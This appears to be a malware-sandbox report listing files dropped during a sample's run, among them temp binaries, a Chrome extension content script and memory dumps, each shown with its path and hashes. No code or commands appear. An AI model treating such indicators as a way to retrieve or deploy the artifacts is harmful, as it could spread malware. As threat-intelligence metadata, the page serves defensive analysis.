SHA512 b67d2506dc701f9ee3ccdd3229447bfd670c4a4910d2b7ba194e6552499a47dcca6468a28281245b3fff1023527751fbd2d4f53f7351311711bc601b9c50f260
TLSH
T10CF02BA53080AD8B03732E23C5128745EE7117970659109834AF11779F315DF07A31EA
MD5 SHA1 SHA512 TLSH

Submit Download

diag_1ed02e.bin

Path C:\Users\Admin\AppData\Local\Temp\diag_1ed02e.bin
Size 12.8MB
SHA256 5432334a30201e7c70424fafff4112f904e617aa7b61b99f11e0fbe3d1791147
MD5 7d43aace4fa39bb724550e6f2d6c163b
SHA1 5278cdc31cd5ed56d1d9b1e1723e4d6d7b7adc51
SHA512 9195e0bb137619cea9056574eef9d4afe61cf796cde4bdc611d052d8380a5e23ecd64ba30d0f80412f4a11c74c9c0a4d25af53b1ecdaa739c264000981e0dfcb
SSDEEP 393216:gxIQzckfxIQzpxIQzOxIQzpxIQzCxIQzvxIQzW:az1z3zwz3zEztzW
TLSH
T1F5D6231123F80815F5B35B35ED7A92B1D83A7E65BE12D04E1760F81E2EB1D809E62B73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diag_1ed02e_.bin

Path C:\Users\Admin\AppData\Local\Temp\diag_1ed02e_.bin
Size 5KB
SHA256 779311dcec2e993b93481e718b387f636f2de51d9e00569dc8f23a39e05d1329
MD5 50ee384e8d5d32394e04a9b883d1da6a
SHA1 bd091b9239d2194f8bbda74c047703de2840ef60
SHA512 39ff5e7757d968961e84f3fba96570b73cdfe4436c8831025cf1672289e889071e06a06618cabcb3173d202b9951b2f94b65971edbc83d0355fdc9320295cd5d
SSDEEP 96:PNyk90toXZzIEb0EaW87l7jfHB92+accxU5nyFPhcoYzueh8/pmw:PND2tkCBRjPP4x8Wmpyaw
TLSH
T135C12BBB9C395017C7729FD6AAF333ED8224B295B70565A4E031D72C82DEF5BC544480
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e16af8b7-ceb9-49fb-973b-6eed945d0336.tmp

Path C:\Users\Admin\AppData\Local\Temp\e16af8b7-ceb9-49fb-973b-6eed945d0336.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

content.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5148_194516402\CRX_INSTALL\content.js
Size 9KB
SHA256 0d40a5153cb66b5bde64906ca3ae750494098f68ad0b4d091256939eea243643
MD5 3d20584f7f6c8eac79e17cca4207fb79
SHA1 3c16dcc27ae52431c8cdd92fbaab0341524d3092
SHA512 315d1b4cc2e70c72d7eb7d51e0f304f6e64ac13ae301fd2e46d585243a6c936b2ad35a0964745d291ae9b317c316a29760b9b9782c88cc6a68599db531f87d59
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
TLSH
T16212B58DA568ED7D1980C952E10EA62E5D342435E6E7A303108B8D88026CFBAD955FFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

be6c0666-b469-493f-b99c-7df7a13102ef.tmp

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5148_194516402\be6c0666-b469-493f-b99c-7df7a13102ef.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir5148_415440069\CRX_INSTALL\_locales\en_CA\messages.json
Size 711B
SHA256 2445cad863be47bb1c15b57a4960b7b0d01864e63cdfde6395f3b2689dc1444b
MD5 558659936250e03cc14b60ebf648aa09
SHA1 32f1ce0361bbfdff11e2ffd53d3ae88a8b81a825
SHA512 1632f5a3cd71887774bf3cb8a4d8b787ea6278271657b0f1d113dbe1a7fd42c4daa717cc449f157ce8972037572b882dc946a7dc2c0e549d71982dcdee89f727
TLSH
T1460197136240AF18470BF05BB9023442A0B44AC62384E0B775EC982C6656DAFB20B3B0
MD5 SHA1 SHA512 TLSH

Submit Download

nav_config.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_106870049\nav_config.json
Size 2KB
SHA256 98252dc9f9e81167e893f2c32f08ee60e9a6c43fadb454400ed3bff3a68fbf0d
MD5 499d9e568b96e759959dc69635470211
SHA1 2462a315342e0c09fd6c5fbd7f1e7ff6914c17e6
SHA512 3a5922697b5356fd29ccf8dcc2e5e0e8c1fd955046a5bacf11b8ac5b7c147625d31ade6ff17be86e79c2c613104b2d2aebb11557399084d422e304f287d8b905
TLSH
T16B51DB73D5988C4B9BF4A29CE919A309F11107CF75D48C0B76BE010C1F7757AB5C6588
MD5 SHA1 SHA512 TLSH

Submit Download

llm_user_input_extractor_config.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_120219732\llm_user_input_extractor_config.json
Size 4KB
SHA256 2056ee7ed0e7adb69344c93a024158ee4e2332ecd50d183dbad7595c4d588ed9
MD5 7736ccfaf720ef9b0db919dd01c4bf8c
SHA1 24b48ec2dee093b8e4384ad1e25ad8f12af0831e
SHA512 f044ed3b6fee483d211328df83f26b98dfe47890c05409c65c7f7333fde1fc043cd1c05d18250e8ee8731f355c13b3a0aedc0e60b82a26c42a7f209a69ad4781
SSDEEP 96:a0y3Cmyjw2w61skd7GZrlWqPZ96vOim87Ai:wyOy7k5rx0WVS1
TLSH
T11F91DF3BD8A15C2B00F3B225B87A7642F534A35B27C05C5B7A7C5A1C8FB6D312582F59
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

office_endpoints_list.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_120219732\office_endpoints_list.json
Size 9KB
SHA256 f0c77aaacfc571e0bc3f51387febe134d991bf3c7f1941af303ed901f288dcd6
MD5 30719122f9edf4e23019a3b74e4f4325
SHA1 6707d64052797b9c5f1a5ccf016e5859c8ef898b
SHA512 ec2e1a33fcd1301f282512ffafb611ea705dc5df09d9aee014276909c1b62b0c73600121d94e9b6d9e160296672b41f2cb8c3ba23f121244ad2ea6521680723c
SSDEEP 96:DdQ/JJvwjyUsrdfsysVsnQfbJNZidYusysXYs2sFsdv12XvlRT07s/DkhcrHPglW:D7d7mfgiIWRcV4sobxezQd1Y
TLSH
T11512BB3BC4B49F229AB060659705E244F13C43BF5600C6FF76B9829C1F366ECA58E1E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

smart_switch_list.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_120219732\smart_switch_list.json
Size 2KB
SHA256 d490aec3403b2daa86aa095db121c2dfee0a35c3ed0770284c0bd0e0a103c776
MD5 a55a23fcdd9af97d33302c8e6de41c18
SHA1 00d9137cdffd273ef849e1122ecbb6f27b6e8423
SHA512 647c19d83bf4db3c4b868738df3a8da0b06f666860f468a2de6863e440800bd5e4057ac03bcae4b5bfed28a8907038bca6a72785d42e7acb6f56580a6859b05d
TLSH
T1E4519EB7CA215CA005B482B16338509AF82827BF62C98AEF377D5B1C3F744B425981E8
MD5 SHA1 SHA512 TLSH

Submit Download

protocols.json

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping5148_1687659075\protocols.json
Size 3KB
SHA256 2edf732da5fd827859e7a1a5b69a4a622cfc416f60a6ae04154d5aad3a1bccec
MD5 5e2067a92dcfcb05537479c384a89725
SHA1 eeed29b07d865ac4d46629fddadad629d0ad4e2b
SHA512 c96c5f9cb7a169ad91b070b567cf9fa8f35951ccc5aa930e97dbeccbeac27f7e9dde1379138c9ba6b0d10339f9cb053ef21f19f06d7560f97d5d23a27c8ed4f6
TLSH
T17D7184B7862088194E360AB4AA0DF10DF93702DF2AF598D3B27D455F1F712BB3946249
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3444-549-0x0000000002420000-0x0000000002438000-memory.dmp

Download

memory/3444-527-0x0000000000240000-0x00000000002D8000-memory.dmp

Download

memory/3444-529-0x0000000002320000-0x0000000002356000-memory.dmp

Download

memory/3444-531-0x000000001B290000-0x000000001B31E000-memory.dmp

Download

memory/3444-533-0x000000001B4D0000-0x000000001B67C000-memory.dmp

Download

memory/3444-534-0x000000001B680000-0x000000001B808000-memory.dmp

Download

memory/3444-550-0x0000000002450000-0x0000000002491000-memory.dmp

Download

memory/3444-551-0x000000001B960000-0x000000001BA35000-memory.dmp

Download

memory/3444-548-0x0000000002360000-0x0000000002378000-memory.dmp

Download

memory/3444-552-0x000000001B420000-0x000000001B470000-memory.dmp

Download